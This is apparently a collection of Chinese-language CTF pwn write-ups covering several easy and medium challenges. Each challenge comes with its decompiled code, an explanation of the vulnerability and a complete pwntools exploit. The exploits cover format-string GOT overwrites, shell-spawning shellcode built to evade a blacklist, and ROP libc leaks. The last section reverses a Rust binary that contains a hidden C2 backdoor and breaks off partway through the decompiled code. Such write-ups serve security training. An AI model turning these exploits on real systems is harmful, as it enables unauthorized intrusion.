
r0bob1rd
Difficulty
- EASY
Description
I am developing a brand new game with robotic birds. Would you like to test my progress so far?
Write-up
unsigned __int64 operation(){ unsigned int v1; // [rsp+Ch] [rbp-74h] BYREF char s[104]; // [rsp+10h] [rbp-70h] BYREF unsigned __int64 v3; // [rsp+78h] [rbp-8h]
v3 = __readfsqword(0x28u); printf("\nSelect a R0bob1rd > "); fflush(stdout); __isoc99_scanf("%d", &v1); if ( v1 > 9 ) printf("\nYou've chosen: %s", (const char *)&(&robobirdNames)[v1]); else printf("\nYou've chosen: %s", (&robobirdNames)[v1]); getchar(); puts("\n\nEnter bird's little description"); printf("> "); fgets(s, 106, stdin); puts("Crafting.."); usleep(0x1E8480u); start_screen(); puts("[Description]"); printf(s); return __readfsqword(0x28u) ^ v3;}
观察到 operation
函数存在几个漏洞:
if ( v1 > 9 )
没有对v1
做边界检查,OOBfgets(s, 106, stdin);
BOFprintf(s);
格式化字符串
先看看 robobirdNames
附近有什么东西:
pwndbg> x/a &robobirdNames0x6020a0 <robobirdNames>: 0x400ce8pwndbg> x/50gx 0x6020a0-0x1000x601fa0: 0x0000000000000000 0x00000000000000000x601fb0: 0x0000000000000000 0x00000000000000000x601fc0: 0x0000000000000000 0x00000000000000000x601fd0: 0x0000000000000000 0x00000000000000000x601fe0: 0x0000000000000000 0x00000000000000000x601ff0: 0x00007ffff7c58f90 0x00000000000000000x602000: 0x0000000000601e10 0x00007ffff7e291900x602010: 0x00007ffff7c15df0 0x00000000004007660x602020 <puts@got.plt>: 0x00007ffff7cb9420 0x00000000004007860x602030 <printf@got.plt>: 0x00007ffff7c96c90 0x00007ffff7d17d900x602040 <fgets@got.plt>: 0x00000000004007b6 0x00000000004007c60x602050 <signal@got.plt>: 0x00007ffff7c77f00 0x00007ffff7cb73400x602060 <setvbuf@got.plt>: 0x00007ffff7cb9ce0 0x00007ffff7c980b00x602070 <usleep@got.plt>: 0x0000000000400816 0x00000000000000000x602080: 0x0000000000000000 0x00000000000000000x602090: 0x0000000000000000 0x00000000000000000x6020a0 <robobirdNames>: 0x0000000000400ce8 0x0000000000400cf20x6020b0 <robobirdNames+16>: 0x0000000000400cff 0x0000000000400d0c0x6020c0 <robobirdNames+32>: 0x0000000000400d18 0x0000000000400d260x6020d0 <robobirdNames+48>: 0x0000000000400d30 0x0000000000400d400x6020e0 <robobirdNames+64>: 0x0000000000400d4b 0x0000000000400d5b0x6020f0: 0x0000000000000000 0x00000000000000000x602100 <stdout@@GLIBC_2.2.5>: 0x00007ffff7e226a0 0x00000000000000000x602110 <stdin@@GLIBC_2.2.5>: 0x00007ffff7e21980 0x00000000000000000x602120 <stderr@@GLIBC_2.2.5>: 0x00007ffff7e225c0 0x0000000000000000
注意到这个地址下方不远处就是 got
表,因此我们可以通过输入负索引来泄漏它,然后算出 libc
基址。
所以最后思路应该是泄漏 setvbuf
,计算出 one_gadget 的地址,再利用格式化字符串漏洞篡改 __stack_chk_fail
为 one_gadget 地址。而为了触发 __stack_chk_fail
,我们需要利用 fgets
的 BOF 来破坏 canary.
Exploit
#!/usr/bin/env python3
from pwn import ( ELF, args, context, fmtstr_payload, process, raw_input, remote, u64,)
FILE = "./r0bob1rd"HOST, PORT = "94.237.122.117", 56995
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binarylibc = ELF("./glibc/libc.so.6")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
target.sendlineafter(b"> ", str(-8)) target.recvuntil(b": ")
setvbuf = u64(target.recvline().strip().ljust(0x8, b"\x00")) libc.address = setvbuf - libc.sym["setvbuf"] one_gadget = libc.address + 0xE3B01
fmtstr = fmtstr_payload( 8, {elf.got["__stack_chk_fail"]: one_gadget}, write_size="short" ) # raw_input("DEBUG") target.sendlineafter(b"> ", fmtstr.ljust(106, b"\x00"))
target.interactive()
if __name__ == "__main__": main()
Execute
Difficulty
- EASY
Description
Can you feed the hungry code?
Write-up
保护全开,但是栈可执行。
// gcc execute.c -z execstack -o execute
#include <signal.h>#include <stdio.h>#include <stdlib.h>#include <string.h>#include <unistd.h>
void setup() { setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0); setvbuf(stderr, NULL, _IONBF, 0); alarm(0x7f);}
int check(char *blacklist, char *buf, int read_size, int blacklist_size) { for (int i = 0; i < blacklist_size; i++) { for (int j = 0; j < read_size - 1; j++) { if (blacklist[i] == buf[j]) return 0; } }
return 1337;}
int main() { char buf[62]; char blacklist[] = "\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67";
setup();
puts("Hey, just because I am hungry doesn't mean I'll execute everything");
int size = read(0, buf, 60);
if (!check(blacklist, buf, size, strlen(blacklist))) { puts("Hehe, told you... won't accept everything"); exit(1337); }
((void (*)())buf)();}
程序对我们的输入做了一个检查,禁用了一些字节,除此以外没有太多限制。所以思路还是打 shellcode.
关于 mask 的爆破,利用了 a ^ b ^ b = a
的性质。
Exploit
#!/usr/bin/env python3
from pwn import ( args, asm, context, disasm, log, p64, process, raw_input, remote, u64,)
FILE = "./execute"HOST, PORT = "94.237.54.192", 31583
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
blacklist = set(b"\x3b\x54\x62\x69\x6e\x73\x68\xf6\xd2\xc0\x5f\xc9\x66\x6c\x61\x67") mask = b"" target_string = u64(b"/bin/sh".ljust(0x8, b"\x00"))
for byte in range(0, 0x100): mask = int(f"{byte:02x}" * 8, 16) encoded = p64(mask ^ target_string)
if all(byte not in blacklist for byte in encoded): log.success(f"Found mask: {hex(mask)}") break
payload = asm(f""" mov rax, {mask} push rax mov rax, {mask} ^ {target_string} xor [rsp], rax mov rdi, rsp push 0 pop rsi push 0 pop rdx mov rbx, 0x3a inc rbx mov rax, rbx syscall """)
log.success(disasm(payload))
for byte in payload: if byte in blacklist: log.warn(f"Bad byte: {byte:2x}")
# raw_input("DEBUG") target.sendline(payload) target.interactive()
if __name__ == "__main__": main()
Restaurant
Difficulty
- EASY
Description
Welcome to our Restaurant. Here, you can eat and drink as much as you want! Just don’t overdo it..
Write-up
只提供了 libc,为了 patchelf 还得去找对应 ld
:
λ ~/Projects/pwn/Restaurant/ strings libc.so.6 | grep "GLIBC"GLIBC_2.2.5GLIBC_2.2.624 collapsed lines
GLIBC_2.3GLIBC_2.3.2GLIBC_2.3.3GLIBC_2.3.4GLIBC_2.4GLIBC_2.5GLIBC_2.6GLIBC_2.7GLIBC_2.8GLIBC_2.9GLIBC_2.10GLIBC_2.11GLIBC_2.12GLIBC_2.13GLIBC_2.14GLIBC_2.15GLIBC_2.16GLIBC_2.17GLIBC_2.18GLIBC_2.22GLIBC_2.23GLIBC_2.24GLIBC_2.25GLIBC_2.26GLIBC_2.27GLIBC_PRIVATEGNU C Library (Ubuntu GLIBC 2.27-3ubuntu1.4) stable release version 2.27.
可以看到使用的是 GLIBC 2.27
,通过 glibc-all-in-one
下载 release 版本的 GLIBC,得到对应 ld
.
使用以下命令来 patchelf,--set-rpath .
是让它在当前目录下自己找 libc.so.6
,我们只要通过 --set-interpreter
设置好动态连接器就行了。
sudo patchelf --set-interpreter "$(pwd)/ld-2.27.so" --set-rpath . ./restaurant
这个程序本身没什么复杂的,注意到只有 fill
函数里面的一个 read
存在 BOF,用它构造 ROP Chain 就好了。先泄漏 libc,然后再返回到 fill
二次输入。
Exploit
#!/usr/bin/env python3
from pwn import ELF, ROP, args, context, flat, process, raw_input, remote, u64
FILE = "./restaurant"HOST, PORT = "94.237.60.55", 54861
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binaryrop = ROP(elf)libc = ELF("./libc.so.6")
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
# raw_input("DEBUG") target.sendlineafter(b"> ", str(1))
payload = flat( b"A" * 0x28, rop.rdi.address, elf.got["puts"], elf.plt["puts"], elf.sym["fill"] ) target.sendafter(b"> ", payload)
target.recvuntil(b"\xa3\x10\x40") libc.address = u64(target.recv(0x6).strip().ljust(8, b"\x00")) - libc.sym["puts"] one_gadget = libc.address + 0x10A41C
payload = flat(b"A" * 0x28, one_gadget) target.sendafter(b"> ", payload)
target.interactive()
if __name__ == "__main__": main()
You know 0xDiablos
Difficulty
- EASY
Description
I missed my flag
Write-up
BOF,后门函数 flag
,检测两个参数。32-bit 栈传参,没啥好说的,不过 python 整数是无限精度的,给它 -1 它就认为这是数学上的 -1,所以我们必须通过把数字截断为 32-bit 补码的形式来模拟 C 在内存中的数据表示。
Exploit
#!/usr/bin/env python3
from pwn import ( args, context, fit, process, raw_input, remote,)
FILE = "./vuln"HOST, PORT = "94.237.57.115", 42156
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
def launch(): if args.L: target = process(FILE) else: target = remote(HOST, PORT) return target
def main(): target = launch()
payload = fit( { 0xBC: elf.sym["flag"], 0xC0: elf.sym["exit"], 0xC4: -559038737 & 0xFFFFFFFF, 0xC8: -1059139571 & 0xFFFFFFFF, } ) # raw_input("DEBUG") target.sendlineafter(b": ", payload)
target.interactive()
if __name__ == "__main__": main()
TicTacToed
Difficulty
- MEDIUM
Description
A lawfirm recently busted an underground network of a part-time cybermafia group. Upon investigation they found nothing but a single tic-tac-toe game on their computer. The forensics team suspect it to be more than just a game. Can you expose them ?
Write-up
Jesus, its a Rust Pwn challenge! 迎接地狱难度的逆向分析吧。
先运行看看,感受一下程序的基本逻辑:

如其名,完全就是一个井字棋游戏,5 个相同棋子连成一条线就赢了。并且我们的对手……我们哪来的对手?X
和 O
的棋子都是自己控制的,谁赢谁输都是我们自行决定。嗯……这样的话应该会简单很多吧?至少不用被迫去对抗一个 AI 棋手……我下棋最烂了……
然后丢给 IDA 老婆,逆天,光是 IDA 加载并分析完这个程序都足足花了几分钟才完成,它太大了。也不知道作者在里面塞了些什么乱七八糟的东西……整个程序有整整 5.5M 大小。
int __fastcall main(int argc, const char **argv, const char **envp){ return std::rt::lang_start(&tictactoe::main, argc, argv, 0LL);}
第一次做 Rust Pwn,发现反汇编出来和 C 语法都差不多,先定位 main 函数,发现叫 tictactoe::main
。根据我之前学过的那么一丢丢 rust 语法,tictactoe
应该就是这个程序的 crate 名。
crate 的话就类似于其它语言中的 package 的概念,一般这些 package 下都包含了多个相关的函数实现,我们可以在 IDA 的 Function name 窗口进行搜索,发现这个 crate 里确实包含了不少东西:

其中比较引人注目的应该是这个叫做 tictactoe::execute_c2
的函数,一眼 backdoor.
__int64 __fastcall tictactoe::execute_c2(int a1, int a2, int a3, int a4, int a5, int a6){ int v6; // eax int v7; // r8d int v8; // r9d int v9; // eax int v10; // ecx int v11; // r8d int v12; // r9d int v13; // eax int v14; // r8d int v15; // r9d int v16; // ecx int v17; // r8d int v18; // r9d int v19; // r9d int v20; // edx int v21; // ecx int v22; // r8d int v23; // r9d int v25; // [rsp+0h] [rbp-148h] int v26; // [rsp+0h] [rbp-148h] int v27; // [rsp+0h] [rbp-148h] int v28; // [rsp+0h] [rbp-148h] int v29; // [rsp+0h] [rbp-148h] struct _Unwind_Exception *v30; // [rsp+0h] [rbp-148h] int v31; // [rsp+8h] [rbp-140h] int v32; // [rsp+8h] [rbp-140h] int v33; // [rsp+8h] [rbp-140h] int v34; // [rsp+8h] [rbp-140h] int v35; // [rsp+8h] [rbp-140h] int v36; // [rsp+8h] [rbp-140h] int v37; // [rsp+10h] [rbp-138h] int v38; // [rsp+10h] [rbp-138h] int v39; // [rsp+10h] [rbp-138h] int v40; // [rsp+10h] [rbp-138h] int v41[2]; // [rsp+10h] [rbp-138h] int v42; // [rsp+18h] [rbp-130h] char v43; // [rsp+18h] [rbp-130h] int v44; // [rsp+18h] [rbp-130h] char v45; // [rsp+18h] [rbp-130h] int v46; // [rsp+18h] [rbp-130h] int v47; // [rsp+18h] [rbp-130h] int v48; // [rsp+1Ch] [rbp-12Ch] BYREF struct _Unwind_Exception *v49; // [rsp+20h] [rbp-128h] int v50; // [rsp+28h] [rbp-120h] struct _Unwind_Exception *v51; // [rsp+30h] [rbp-118h] int v52; // [rsp+38h] [rbp-110h] BYREF int v53; // [rsp+40h] [rbp-108h] int v54; // [rsp+48h] [rbp-100h] struct _Unwind_Exception *v55; // [rsp+50h] [rbp-F8h] int v56[42]; // [rsp+58h] [rbp-F0h] BYREF struct _Unwind_Exception *v57; // [rsp+100h] [rbp-48h] int v58; // [rsp+108h] [rbp-40h] _BYTE v59[32]; // [rsp+128h] [rbp-20h] BYREF
v6 = std::fs::write( (int)aTmpC2Executabl, 18, (int)&off_3A4F30, a4, a5, a6, (int)aTmpC2Executabl, 18, v37, v42, (int)v49, v50, (int)v51, v52, v53, v54, v55, v56[0]); core::result::Result<T,E>::expect( v6, (int)aFailedToWriteC, 25, (int)&off_3A4F40, v7, v8, v25, v31, v38, v43, v49, v50); v9 = <std::fs::Permissions as std::os::unix::fs::PermissionsExt>::from_mode(493LL); v13 = std::fs::set_permissions(v26, v32, v9, v10, v11, v12, v26, v32, v39, v44, (int)v49, v50, v51, v52); core::result::Result<T,E>::expect( v13, (int)aFailedToSetExe, 33, (int)&off_3A4F58, v14, v15, v27, v33, v40, v45, v49, v50); std::process::Command::new( (int)v56, v28, v34, v16, v17, v18, v28, v34, (int)v56, v46, (int)v49, v50, (int)v51, v52, v53, v54, (int)v55, v56[0], v56[2], v56[4], v56[6], v56[8], v56[10], v56[12], v56[14], v56[16], v56[18], v56[20], v56[22], v56[24], v56[26], v56[28], v56[30], v56[32], v56[34], v56[36], v56[38], v56[40], v57, v58); std::process::Command::spawn(&v52, *(_QWORD *)v41); core::result::Result<T,E>::expect( (int)&v48, (int)&v52, (int)aFailedToExecut, 27, (int)&off_3A4F70, v19, v29, v35, v41[0], v47, (int)v49, v50, v51, v52); core::ptr::drop_in_place<std::process::Command>(v56); std::process::Child::wait(v59, &v48); core::ptr::drop_in_place<core::result::Result<std::process::ExitStatus,std::io::error::Error>>(v59); return core::ptr::drop_in_place<std::process::Child>((int)&v48, (int)&v48, v20, v21, v22, v23, v30, v36);}

进去一看虽说有一大坨,不过细看其实很简单。std::fs::write
将 C2 (Command and Control) 后门程序写入到 /tmp/C2_executable
中(程序里塞程序,难怪那么大……),并通过 std::fs::set_permissions
将权限设置为 0755
,这一点可以从 from_mode(493LL)
看出来。接着,通过 std::process::Command::new
创建准备执行的命令行指令(这会设置好它的参数,环境变量等)。用脚想都可以猜出来创建的命令肯定是用来执行 C2 的,根本用不着去分析参数。然后用 std::process::Command::spawn
生成子进程,异步运行 Command 创建的指令。嗯……看到这里就不用继续了,后面无非就是释放空间和获取子进程的退出状态等操作,对我们来说没多大用处。
此时,我们的宏观目标已经是非常清晰的了,就是要搞清楚如何调用 tictactoe::execute_c2
。一开始我想着可能有输入方面的漏洞,然后构造一个 ROP Chain 或者什么东西去调用它。不过我同时又清楚,Rust 以其安全性而扬名,所以题目如果是考察 Rust 的编码漏洞,那就未免有点太难了,虽然不排除确实有这个可能……总之,我在这一块还是浪费了将近一个小时,去研究 main 函数中对输入的处理是否存在什么漏洞,事实证明根本没有……
下面来分析 main 函数的基本逻辑:
__int64 tictactoe::main(){ int *v0; // rcx __int64 v1; // rdx int line; // eax int v3; // edx int v4; // r9d __int64 v5; // rax __int64 v6; // rdx __int64 v7; // rcx int v8; // r8d int v9; // r9d int v10; // esi int v11; // edx int v12; // ecx int v13; // r8d int v14; // r9d char **v15; // rsi int v16; // edx int v17; // ecx int v18; // r8d int v19; // r9d int v20; // edx int v21; // ecx int v22; // r8d int v23; // r9d int v25; // edx int v26; // ecx int v27; // r8d int v28; // r9d __int64 v29; // rdx int v30; // [rsp+0h] [rbp-4E8h] struct _Unwind_Exception *v31; // [rsp+0h] [rbp-4E8h] struct _Unwind_Exception *v32; // [rsp+0h] [rbp-4E8h] struct _Unwind_Exception *v33; // [rsp+0h] [rbp-4E8h] __int64 v34; // [rsp+8h] [rbp-4E0h] int v35; // [rsp+8h] [rbp-4E0h] int v36; // [rsp+8h] [rbp-4E0h] int v37; // [rsp+8h] [rbp-4E0h] __int64 v38; // [rsp+10h] [rbp-4D8h] __int64 v39; // [rsp+18h] [rbp-4D0h] int v40; // [rsp+20h] [rbp-4C8h] char is_full; // [rsp+26h] [rbp-4C2h] char v42; // [rsp+27h] [rbp-4C1h] char v43; // [rsp+28h] [rbp-4C0h] int v44[2]; // [rsp+28h] [rbp-4C0h] struct _Unwind_Exception *v45; // [rsp+30h] [rbp-4B8h] __int64 *v46; // [rsp+30h] [rbp-4B8h] int v47; // [rsp+38h] [rbp-4B0h] _QWORD *v48; // [rsp+38h] [rbp-4B0h] struct _Unwind_Exception *v49; // [rsp+40h] [rbp-4A8h] struct _Unwind_Exception **v50; // [rsp+48h] [rbp-4A0h] int v51[2]; // [rsp+50h] [rbp-498h] int v52; // [rsp+5Ch] [rbp-48Ch] int v53[2]; // [rsp+68h] [rbp-480h] _QWORD *v54; // [rsp+70h] [rbp-478h] int v55[2]; // [rsp+78h] [rbp-470h] char v56[8]; // [rsp+D8h] [rbp-410h] char v57[8]; // [rsp+138h] [rbp-3B0h] int v58[2]; // [rsp+148h] [rbp-3A0h] int v59[25]; // [rsp+154h] [rbp-394h] BYREF _QWORD v60[2]; // [rsp+1B8h] [rbp-330h] int v61; // [rsp+1C8h] [rbp-320h] int v62; // [rsp+1CCh] [rbp-31Ch] BYREF int v63[6]; // [rsp+1D0h] [rbp-318h] BYREF int v64[2]; // [rsp+1E8h] [rbp-300h] BYREF int v65[2]; // [rsp+1F0h] [rbp-2F8h] char v66[8]; // [rsp+1F8h] [rbp-2F0h] _QWORD v67[2]; // [rsp+200h] [rbp-2E8h] BYREF int *v68; // [rsp+210h] [rbp-2D8h] int v69; // [rsp+21Ch] [rbp-2CCh] BYREF _BYTE v70[48]; // [rsp+220h] [rbp-2C8h] BYREF __int128 v71; // [rsp+250h] [rbp-298h] BYREF __int128 v72; // [rsp+268h] [rbp-280h] BYREF __int64 v73; // [rsp+278h] [rbp-270h] BYREF _BYTE v74[48]; // [rsp+280h] [rbp-268h] BYREF _BYTE v75[48]; // [rsp+2B0h] [rbp-238h] BYREF int v76[4]; // [rsp+2E0h] [rbp-208h] BYREF int v77[4]; // [rsp+2F8h] [rbp-1F0h] BYREF int v78[2]; // [rsp+308h] [rbp-1E0h] BYREF char v79[24]; // [rsp+310h] [rbp-1D8h] BYREF char v80[8]; // [rsp+328h] [rbp-1C0h] BYREF int v81[6]; // [rsp+330h] [rbp-1B8h] BYREF _BYTE v82[64]; // [rsp+348h] [rbp-1A0h] BYREF int v83[16]; // [rsp+388h] [rbp-160h] BYREF _BYTE v84[48]; // [rsp+3C8h] [rbp-120h] BYREF int v85[2]; // [rsp+3F8h] [rbp-F0h] BYREF __int64 v86; // [rsp+400h] [rbp-E8h] int v87; // [rsp+408h] [rbp-E0h] _BYTE v88[48]; // [rsp+410h] [rbp-D8h] BYREF __int128 v89; // [rsp+440h] [rbp-A8h] BYREF __int128 v90; // [rsp+450h] [rbp-98h] BYREF _BYTE v91[52]; // [rsp+460h] [rbp-88h] BYREF int v92; // [rsp+494h] [rbp-54h] __int64 v93; // [rsp+4A8h] [rbp-40h] __int64 v94[3]; // [rsp+4B0h] [rbp-38h] BYREF __int64 v95; // [rsp+4C8h] [rbp-20h] __int64 v96[3]; // [rsp+4D0h] [rbp-18h] BYREF
tictactoe::detect_debugger(); for ( *(_QWORD *)v58 = 0LL; *(_QWORD *)v58 < 5uLL; ++*(_QWORD *)v58 ) *((_DWORD *)v60 + *(_QWORD *)v58) = 45; for ( *(_QWORD *)v57 = 0LL; *(_QWORD *)v57 < 5uLL; ++*(_QWORD *)v57 ) { v0 = &v59[5 * *(_QWORD *)v57]; *(_QWORD *)v0 = v60[0]; *((_QWORD *)v0 + 1) = v60[1]; v0[4] = v61; } v62 = 88; alloc::vec::Vec<T>::new(v63); while ( 1 ) { while ( 1 ) { *(_QWORD *)v64 = core::array::<impl core::iter::traits::collect::IntoIterator for &[T; N]>::into_iter(v59); *(_QWORD *)v65 = v1; while ( 1 ) { *(_QWORD *)v66 = <core::slice::iter::Iter<T> as core::iter::traits::iterator::Iterator>::next(v64); if ( !*(_QWORD *)v66 ) break; v67[0] = core::array::<impl core::iter::traits::collect::IntoIterator for &[T; N]>::into_iter(*(_QWORD *)v66); v67[1] = v29; while ( 1 ) { v39 = <core::slice::iter::Iter<T> as core::iter::traits::iterator::Iterator>::next(v67); v68 = (int *)v39; if ( !v39 ) break; v69 = *v68; core::fmt::rt::Argument::new_display(&v72, &v69); v71 = v72; core::fmt::Arguments::new_v1(v70, &unk_3A52E8, &v71); std::io::stdio::_print(v70); v38 = std::io::stdio::stdout(); v73 = v38; v34 = <std::io::stdio::Stdout as std::io::Write>::flush(&v73); v93 = v34; if ( v34 ) { v94[0] = v93; core::result::unwrap_failed(aCalledResultUn, 43LL, v94, &off_3A4F00, &off_3A5308); } } core::fmt::Arguments::new_const(v74, &off_3A52D8); std::io::stdio::_print(v74); } core::fmt::rt::Argument::new_display(v77, &v62); *(_OWORD *)v76 = *(_OWORD *)v77; core::fmt::Arguments::new_v1(v75, &off_3A5140, v76); std::io::stdio::_print(v75); *(_QWORD *)v78 = std::io::stdio::stdout(); *(_QWORD *)v56 = <std::io::stdio::Stdout as std::io::Write>::flush(v78); v95 = *(_QWORD *)v56; if ( *(_QWORD *)v56 ) { v96[0] = v95; core::result::unwrap_failed(aCalledResultUn, 43LL, v96, &off_3A4F00, &off_3A5160); } alloc::string::String::new(v79); *(_QWORD *)v80 = std::io::stdio::stdin(); line = std::io::stdio::Stdin::read_line(v80, v79); core::result::Result<T,E>::expect( line, v3, (int)aFailedToReadLi, 19, (int)&off_3A5178, v4, v30, v34, v38, v39, v40, v43, v45, v47); v5 = <alloc::string::String as core::ops::deref::Deref>::deref(v79); core::str::<impl str>::trim(v5, v6); core::str::<impl str>::split_whitespace((int)v83); core::iter::traits::iterator::Iterator::filter_map(v82, v83); core::iter::traits::iterator::Iterator::collect(v81, v82); if ( alloc::vec::Vec<T,A>::len(v81) == 2 && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 0LL, &off_3A5190) < 5uLL && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 1LL, &off_3A51A8) < 5uLL ) { *(_QWORD *)v55 = *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 0LL, &off_3A51C0); if ( *(_QWORD *)v55 >= 5uLL ) core::panicking::panic_bounds_check(*(_QWORD *)v55, 5LL, &off_3A51D8); v54 = (_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 1LL, &off_3A51F0); *(_QWORD *)v53 = *v54; if ( *v54 >= 5uLL ) core::panicking::panic_bounds_check(*(_QWORD *)v53, 5LL, &off_3A51D8); if ( v59[5 * *(_QWORD *)v55 + *(_QWORD *)v53] == 45 ) break; } core::fmt::Arguments::new_const(v84, &off_3A52C8); std::io::stdio::_print(v84); core::ptr::drop_in_place<alloc::vec::Vec<usize>>((int)v81, (int)&off_3A52C8, v25, v26, v27, v28, v31, v35); core::ptr::drop_in_place<alloc::string::String>(v79); } v52 = v62; *(_QWORD *)v51 = *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 0LL, &off_3A5208); if ( *(_QWORD *)v51 >= 5uLL ) core::panicking::panic_bounds_check(*(_QWORD *)v51, 5LL, &off_3A5220); v50 = (struct _Unwind_Exception **)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index( v81, 1LL, &off_3A5238); v49 = *v50; if ( (unsigned __int64)*v50 >= 5 ) core::panicking::panic_bounds_check(v49, 5LL, &off_3A5220); v59[5 * *(_QWORD *)v51 + (_QWORD)v49] = v52; v48 = (_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 0LL, &off_3A5250); *(_QWORD *)v44 = *v48; v46 = (__int64 *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 1LL, &off_3A5268); v7 = *v46; *(_QWORD *)v85 = *(_QWORD *)v44; v86 = v7; v87 = v62; alloc::vec::Vec<T,A>::push( (int)v63, (int)v85, (int)&off_3A5280, v7, v8, v9, (int)v31, v35, v38, v39, v40, v44[0], (int)v46, (int)v48, v49, (int)v50); v10 = v62; v42 = tictactoe::check_winner(v59, (unsigned int)v62, v63); if ( (v42 & 1) != 0 ) { core::fmt::rt::Argument::new_display(&v90, &v62); v89 = v90; v15 = &off_3A52A8; core::fmt::Arguments::new_v1(v88, &off_3A52A8, &v89); std::io::stdio::_print(v88); goto LABEL_40; } is_full = tictactoe::is_full(v59); if ( (is_full & 1) != 0 ) break; if ( v62 == 88 ) v92 = 79; else v92 = 88; v62 = v92; core::ptr::drop_in_place<alloc::vec::Vec<usize>>((int)v81, v10, v11, v12, v13, v14, v32, v36); core::ptr::drop_in_place<alloc::string::String>(v79); } v15 = &off_3A5298; core::fmt::Arguments::new_const(v91, &off_3A5298); std::io::stdio::_print(v91);LABEL_40: core::ptr::drop_in_place<alloc::vec::Vec<usize>>((int)v81, (int)v15, v16, v17, v18, v19, v32, v36); core::ptr::drop_in_place<alloc::string::String>(v79); return core::ptr::drop_in_place<alloc::vec::Vec<(usize,usize,char)>>((int)v63, (int)v15, v20, v21, v22, v23, v33, v37);}
逆天,tictactoe::detect_debugger
检测到程序被调试就会结束,我试了下 gdb 可以通过 set $rip
绕过,还有一个想法是通过 IDA 把这个调用 patch 成 nop
,就是不清楚这两种方法会不会影响到后续的程序执行。不过以「过来人」的结论来说,我们做这题根本用不着动态调试就是了。研究怎么 patch 这个程序又浪费了我十几分钟……后来也没成功,直接放弃了,继续分析……
接着程序中有几个 for 循环,我斗胆猜测一下,应该是初始化棋盘的。然后那个庞大的 while 循环里面,看了下,应该是负责显示棋盘,接收用户输入并设置棋盘。注意到它通过 core::str::<impl str>::trim
去除输入两端的垃圾字符,core::str::<impl str>::split_whitespace
想必就是将输入按空格分隔了,然后 core::iter::traits::iterator::Iterator::filter_map
对输入做了一些过滤,最后用 core::iter::traits::iterator::Iterator::collect
将结果整合起来进行后续的操作。
之后,*(_QWORD *)v55 >= 5uLL
和 *v54 >= 5uLL
的几个 if 应该就是检测输入的行列是否超出了棋盘大小。那就可以很自然的推断出外层 if alloc::vec::Vec<T,A>::len(v81) == 2 && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 0LL, &off_3A5190) < 5uLL && *(_QWORD *)<alloc::vec::Vec<T,A> as core::ops::index::Index<I>>::index(v81, 1LL, &off_3A51A8) < 5uLL
这一长串就是判断提供的输入是否是合法的两个行列数据,并且它们都在合法的范围内。之后又分别对行列数据范围做了检测,没问题就设置棋盘的对应元素。
之后 alloc::vec::Vec<T,A>::push
应该是把棋盘数据保存到 vector 中,用于后续 tictactoe::check_winner
判断哪一方胜出。任何一方胜出后都会跳转到 LABEL_40
回收内存。
tictactoe::is_full
,看名字就知道肯定是检测棋盘被填满还没有分出胜负的情况,后续的 std::io::stdio::_print
来看也可以证实这一点,如果填满了就输出 It's a draw!
.
目前还没发现任何有关后门的线索,哪怕是验证函数也没见它调用过。我们深入 tictactoe::check_winner
看看:
char __fastcall tictactoe::check_winner(int a1, int a2, __int64 a3, int a4, int a5, int a6){ __int64 v6; // rax __int64 v7; // rdx __int64 v8; // rax __int64 v9; // rdx __int64 v10; // rax __int64 v11; // rdx int v12; // eax int v13; // edx int v14; // ecx int v15; // r8d int v16; // r9d __int64 v17; // rax __int64 v18; // rdx char **v19; // rsi __int64 v20; // rdx __int64 v21; // rax unsigned __int64 v22; // rdx int v23; // edx int v24; // ecx int v25; // r8d int v26; // r9d __int64 v28; // rdx int v29; // r8d int v30; // r9d int v31; // edx int v32; // ecx int v33; // r8d int v34; // r9d __int64 v35; // rax __int64 v36; // rdx int v37; // [rsp+0h] [rbp-358h] int v38; // [rsp+0h] [rbp-358h] struct _Unwind_Exception *v39; // [rsp+0h] [rbp-358h] int v40; // [rsp+8h] [rbp-350h] int v41; // [rsp+8h] [rbp-350h] int v42; // [rsp+8h] [rbp-350h] int v43; // [rsp+10h] [rbp-348h] int v44; // [rsp+10h] [rbp-348h] int v45; // [rsp+10h] [rbp-348h] int v46; // [rsp+18h] [rbp-340h] char v47; // [rsp+18h] [rbp-340h] int v48; // [rsp+18h] [rbp-340h] char v49; // [rsp+1Eh] [rbp-33Ah] int v50; // [rsp+20h] [rbp-338h] int v51; // [rsp+20h] [rbp-338h] int v52; // [rsp+28h] [rbp-330h] int v53; // [rsp+28h] [rbp-330h] int v54; // [rsp+30h] [rbp-328h] int v55; // [rsp+30h] [rbp-328h] struct _Unwind_Exception *v56; // [rsp+30h] [rbp-328h] char v57; // [rsp+36h] [rbp-322h] char v58; // [rsp+37h] [rbp-321h] int v59; // [rsp+38h] [rbp-320h] int v60; // [rsp+38h] [rbp-320h] int v61; // [rsp+38h] [rbp-320h] struct _Unwind_Exception *v62; // [rsp+40h] [rbp-318h] int v63; // [rsp+40h] [rbp-318h] int v64; // [rsp+48h] [rbp-310h] int v65; // [rsp+48h] [rbp-310h] int v66; // [rsp+50h] [rbp-308h] int v67; // [rsp+58h] [rbp-300h] int v68; // [rsp+60h] [rbp-2F8h] int v69; // [rsp+68h] [rbp-2F0h] int v70; // [rsp+88h] [rbp-2D0h] int v71; // [rsp+90h] [rbp-2C8h] int v72; // [rsp+98h] [rbp-2C0h] int v73; // [rsp+A0h] [rbp-2B8h] int v74; // 